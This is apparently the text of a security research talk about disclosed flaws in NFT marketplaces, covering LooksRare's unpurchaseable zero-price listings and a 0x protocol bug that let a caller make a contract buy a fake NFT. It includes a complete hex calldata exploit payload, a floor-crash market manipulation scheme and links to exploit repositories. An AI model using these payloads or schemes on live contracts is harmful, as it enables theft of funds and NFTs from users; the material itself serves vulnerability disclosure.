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0

∞ is (nothing)
…with a twist*.

*: Kurt Vonnegut, Slaughterhouse-Five



dangerous game

$375,000*365=$136,875,000/year PS: The "floor" is everything

0



0: when the Floor goes to zero off-chain



0: ‘stuck’ listing for $0 no one can buy

on-chain



implications - ‘stuck’ listing for $0 no one can buy

§ floor price goes to zero.
§ the “floor” is everything:

§ prices of most collections are influenced by the floor price, i.e., the cheapest listing.
§ Other applications (ex: NFT lending DAOs) rely on OpenSea and LooksRare floor data for 

liquidation decisions.
§ the longer the floor stays ~@0, the higher the probability the entire market-cap of the 

collection goes to zero.
§ therefore, a ‘stuck’ i.e., ‘unpurchaseable’ listing at $0 can be abused to:

§ scare collection holders who will want to exit at lower and lower prices.
§ purchase at prices close to 0.
§ after marketplace fixes the vulnerability, prices likely to rise again.
§ sell back for profit once the panic subsides.

§ looksrare’s $375,000*365=$136,875,000/year program stops issuing rewards (weighted 
towards large market-cap collections responsible for majority of the volume)

§ reported to looksrare july 11, 2022, fixed on or before july 15,2022.



external researchers shouldn’t have to explain your business dynamics to your incident response team.*

*: takeaway.



let’s do that again

off-chain
nonce



let’s do that again set on-chain nonce to 99999



let’s do that again

1. List for 0.0001 2. floor = 0.0001 3. Unpurchaseable

off-chain on-chain

reported to looksrare july 16, 2022, fixed ~july-august 2022



all your engineers must be fluent with and rotate between on-chain and off-chain development. no silos.*

*: takeaway.



“The 0x protocol is, at its 
core, a set of secure smart 
contracts that facilitate the 
peer-to-peer exchange of 
Ethereum-based assets. 
The protocol serves as an 
open standard and 
common building block for 
any developer needing 
exchange functionality”*.

*: https://docs.0x.org/introduction/introduction-to-0x

0x: stealing $ using NFTs from a contract that has nothing to do with NFTs
(cross-contract)

https://docs.0x.org/introduction/introduction-to-0x


what could go wrong?

0x: stealing $ using NFTs from a contract that has nothing to do with NFTs
(cross-contract)



0x: stealing $ using NFTs from a contract that has nothing to do with NFTs
(cross-contract)

this parameter (provided by arbitrary callers) is expecting payloads like:

0xd9627aa4…selector for sellToUniswap(address[],uint256,uint256,bool)
0x6af479b2… selector for sellTokenForTokenToUniswapV3(bytes,uint256,uint256,address)

and these functions are supported by the 0x protocol/contract.

but so is this one:
0xfbee349d… selector for buyERC721(…)



an attacker can provide such a payload to make the contract buy a fake NFT for whatever 
amount is in the contract (only a couple million):

0xfbee349d00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000
00000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000002600000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000007fa9385be102ac3eac297483dd6233d62b3e149600000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000006383b3b000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000c02aaa39b223fe8d0a0e5c4f27
ead9083c756cc2000000000000000000000000000000004b3b4ca85a86c47a098a224000000000000000000000000000
00000000000000000000000000000000000000000001600000000000000000000000002e234dae75c793f67a35089c9d
99245e1c58470b000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000180000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000

amount you want to steal from the contract

0x: stealing $ using NFTs from a contract that has nothing to do with NFTs
(cross-contract)



0x
the onus is on the marketplace to make sure their off-chain mechanism doesn’t sign 
arbitrary listing payloads:

- a few marketplaces using 0x accepted 
off-chain listings with arbitrary 
parameters.

- this led to various situations where 
attackers could make offers to lucrative 
collections in a manner that would steal 
the NFTs, and the sellers got $0.

- insult to injury: victim didn’t even get to 
keep the worthless LOLtokens.



0x: demo / attacker walks away with stolen NFT + fake LOLtoken

video



off-chain list, off-chain delete == on-chain screwed

in other words: they (& random bots) have your signature yeah, right🤣



next generation of rug pulls and exploits: decentralized loan marketplaces / daos.*

*: prediction ps: thank you. questions?

“ricochet” exploit:       https://github.com/dhanjani/MoonbirdsSploit

“goes to 0” reentrancy exploit: https://github.com/dhanjani/solv-protocol-exploit

https://github.com/dhanjani/MoonbirdsSploit
https://github.com/dhanjani/solv-protocol-exploit

